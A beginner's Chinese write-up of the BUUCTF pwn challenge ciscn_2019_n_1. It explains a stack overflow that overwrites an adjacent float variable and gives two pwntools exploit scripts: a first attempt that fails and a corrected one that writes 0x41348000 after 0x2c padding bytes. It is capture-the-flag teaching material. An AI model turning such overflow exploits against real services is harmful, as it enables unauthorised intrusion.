初學pwn-writeUp
BUUCTF的第四道題,ciscn-2019_n_1。
首先還是連結遠端檢視一下。
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIyVGduV2YfNWawNyZuBnL0IGZjZmZhVmM2MjMxUGMiFDNzQzMiBzY2QjYxgTN5kzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
這裡提示讓猜一個數字,然後他告訴我們,這個數字應該是11.28125。這就有點掩耳盜鈴了呀,但是輸入了11.28125,還是在說應該輸入11.28125。可能是有點問題,ida打開檢視一下。
可以看到主函數裡,調用了三個函數,前兩個都是set某個值,我們直接看func函數。
那這就很明顯了,剛剛輸入的值賦給了v1,但是這裡是要讓v2的值等于11.28125才可以。檢視一下位址。
嗯,跟想象的一樣,v2緊跟在v1後面,隻要在輸入v1的時候,讓它棧溢出,覆寫掉v2就可以了。
不過我在這裡輸入的時候犯了一個錯誤
exp
from pwn import *
p = remote("node4.buuoj.cn", 25154);
payload = 'a' * 0x2c + p64(11.28125).decode("iso-8859-1");
p.recvuntil("number.");
p.sendline(payload);
p.interactive();
這樣去執行腳本,沒有完成,我想到了會不會是浮點數的原因。查了一下,發現p64這個函數使用來打包整數的,小數不可以。而且,覆寫在位址上的應該是浮點數轉化過之後的樣子。
這裡首先應該将浮點數轉換為二進制數,然後修改為符号位+指數位+尾數位的形式,最後将它轉換為十六進制,也就是
41348000。當然也可以不轉換,因為這個浮點數在程式中有展現,那麼肯定會有一個資料段記錄着他的十六進制數。檢視一下。
可以看到這裡就有41348000這個十六進制數字。修改腳本
exp
from pwn import *
p = remote("node4.buuoj.cn", 25154);
payload = 'a' * 0x2c + p64(0x41348000).decode("iso-8859-1");
p.recvuntil("number.");
p.sendline(payload);
p.interactive();
執行,獲得flag。